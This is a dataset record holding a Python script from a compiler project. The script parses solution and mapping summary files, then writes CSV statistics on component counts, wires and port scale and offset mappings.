is:\",x)\r\n\r\n\r\n","repo_name":"RahulSinghazm/Python_App_Online_Billing-App_","sub_path":"job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"38841133556","text":"#!/usr/bin/python\n\nimport sys \nimport os\n\nscript_dir = os.path.dirname(__file__)\n\ndef array_to_count_map(arr):\n cnt = {};\n for a in arr:\n if not (a in cnt):\n cnt[a] = 0\n cnt[a] += 1\n\n return cnt\n\ndef analyze_sln(filename):\n filepath = os.path.join(script_dir,filename)\n h_file = open(filepath);\n\n phase = \"unknown\"\n\n comps = [];\n nwires = 0;\n portvals = {};\n porttypes = {};\n\n for line in h_file:\n\n if \"Generate\" in line:\n phase = \"generate\";\n\n if \"Route\" in line:\n phase = \"route\";\n\n if \"Connect\" in line:\n phase = \"connect\";\n\n segs = line.split(\"->\");\n if len(segs) < 2:\n continue;\n\n if phase == \"connect\":\n nwires += 1;\n\n elif phase == \"route\" or phase == \"generate\":\n port = segs[1].strip()\n prefix = segs[0].split(\" \")\n typ = prefix[0].strip()\n value = prefix[1].strip()\n\n if port.startswith(\"[\"):\n n = len(port);\n els = port[1:(n-1)].split(\",\");\n for port in els:\n portvals[port] = value;\n porttypes[port] = typ;\n comps.append(port.split(\"[\")[0]);\n\n else: \n portvals[port] = value;\n porttypes[port] = typ;\n comps.append(port.split(\"[\")[0]);\n \n\n data = {};\n data[\"comps\"] = array_to_count_map(comps);\n data[\"wires\"] = nwires\n\n pinfo = {};\n pinfo[\"values\"] = portvals;\n pinfo[\"types\"] = porttypes;\n print(data);\n return pinfo,data;\n\ndef analyze_map(portinfo, filename):\n filepath = os.path.join(script_dir,filename)\n h_file = open(filepath);\n\n internal = []\n inputs= []\n outputs = []\n ports = []\n \n for line in h_file:\n\n if len(line.split(\"->\")) < 2:\n continue;\n\n linmap = line.split(\"->\")[1];\n port= line.split(\"=\")[0].strip();\n scale = float(linmap.split(\"@\")[0])\n offset = float(linmap.split(\"+\")[1])\n\n if port in portinfo[\"types\"]:\n typ = portinfo[\"types\"][port];\n else:\n typ = \"lcl\"\n\n ports.append((scale,offset))\n \n if line.startswith(\"input\") and line.split(\".\")[2].startswith(\"X\"):\n if typ == \"in\":\n inputs.append((scale,offset));\n\n\n elif line.startswith(\"output\") and line.split(\".\")[2].startswith(\"O\"):\n if typ == \"out\":\n outputs.append((scale,offset));\n\n else:\n internal.append((scale,offset));\n\n h_file.close()\n data = {};\n data[\"ports\"] = array_to_count_map(ports);\n data[\"inputs\"] = array_to_count_map(inputs);\n data[\"outputs\"] = array_to_count_map(outputs);\n data[\"internal\"] = array_to_count_map(internal);\n return data\n\n\n\ndef writelines(summary,data,key,h_output,ident):\n for (scale,offset) in data[key]:\n amt = data[key][(scale,offset)]\n line = str(ident)+\",\";\n line += str(scale)+\",\";\n line += str(offset)+\",\";\n line += str(amt)+\",\"\n line += key+\"\\n\"\n h_output.write(line);\n if scale == 1. and offset == 0.:\n summary[key][\"direct\"] += amt\n elif scale == 1.:\n summary[key][\"no-scale\"] += amt\n elif offset == 0.:\n summary[key][\"no-offset\"] += amt\n else:\n summary[key][\"linear\"] += amt\n\ndef mksummary_entry():\n data = {};\n data[\"direct\"] = 0;\n data[\"no-scale\"] = 0;\n data[\"no-offset\"] = 0;\n data[\"linear\"] = 0;\n return data;\n\ndef mksummary():\n summary = {};\n summary[\"ports\"] = mksummary_entry();\n summary[\"inputs\"] = mksummary_entry();\n summary[\"outputs\"] = mksummary_entry();\n summary[\"internal\"] = mksummary_entry();\n return summary\n\ndef print_summary(summary):\n keys = [\"direct\",\"no-scale\",\"no-offset\",\"linear\"]\n fldkeys = [\"ports\",\"inputs\",\"outputs\",\"internal\"]\n for key in fldkeys:\n data = summary[key];\n print(\"=== \"+key+\" ===\");\n for knd in keys:\n print(knd+\": \"+str(data[knd]));\n\n\ndef main():\n if len(sys.argv) < 2:\n print(\"usage: analyze_smt cmd\")\n sys.exit(1)\n path = sys.argv[1];\n base_path = path\n datas = {}\n \n for filename in os.listdir(base_path):\n if filename.endswith(\"_map.sum\"):\n basename = filename.split(\"_map.sum\")[0];\n mapfile = filename;\n slnfile = basename +\"_sln.sum\";\n\n portinfo,slndata = analyze_sln(base_path + \"/\" + slnfile);\n mapdata = analyze_map(portinfo,base_path + \"/\" + mapfile);\n\n data = {};\n data[\"map\"] = mapdata;\n data[\"sln\"] = slndata;\n\n\n clauses = (filename.split(\".\")[0].split(\"_\"))\n ident = int(clauses[len(clauses)-2])\n datas[ident] = data\n\n output = path+\"_map.csv\"\n outputpath = os.path.join(script_dir,output)\n h_output = open(outputpath,\"w+\")\n els = [(k,datas[k]) for k in sorted(datas,key=int)]\n\n header = \"cfgno,scale,offset,count,scope\\n\"\n\n h_output.write(header);\n\n for (ident,data) in els:\n summary = mksummary();\n writelines(summary,data[\"map\"],\"ports\",h_output,ident)\n writelines(summary,data[\"map\"],\"inputs\",h_output,ident)\n writelines(summary,data[\"map\"],\"outputs\",h_output,ident)\n writelines(summary,data[\"map\"],\"internal\",h_output,ident)\n print_summary(summary)\n print(\"\\n\\n\")\n h_output.close()\n\n output = path+\"_cfgs.csv\"\n outputpath = os.path.join(script_dir,output)\n h_output = open(outputpath,\"w+\")\n els = [(k,datas[k]) for k in sorted(datas,key=int)]\n\n header = \"cfgno,ncomps,nwires\\n\"\n\n h_output.write(header);\n\n allcomps = []\n for (ident,data) in els:\n cmps = data[\"sln\"][\"comps\"]\n wires = data[\"sln\"][\"wires\"]\n line = str(ident)+\",\";\n line += str(len(cmps))+\",\";\n line += str((wires));\n line += \"\\n\";\n h_output.write(line);\n allcomps = allcomps + cmps.keys()\n\n\n output = path+\"_comps.csv\"\n outputpath = os.path.join(script_dir,output)\n h_output = open(outputpath,\"w+\")\n els = [(k,datas[k]) for k in sorted(datas,key=int)]\n\n header = \"comp,cfgs\\n\"\n\n cmps = set(allcomps);\n for comp in cmps:\n line = comp;\n for (ident,data) in els:\n ccmp= data[\"sln\"][\"comps\"]\n if comp in ccmp:\n line += \",\"+str(ccmp[comp])\n else:\n line += \",0\"\n line += \"\\n\"\n h_output.write(line);\n\n \n output = path+\"_cfg.csv\"\nmain()\n","repo_name":"sarachour/arco-compiler","sub_path":"solve/scripts/analyze_cfg.py","file_name":"analyze_cfg.py","file_ext":"py","file_size_in_byte":6643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"}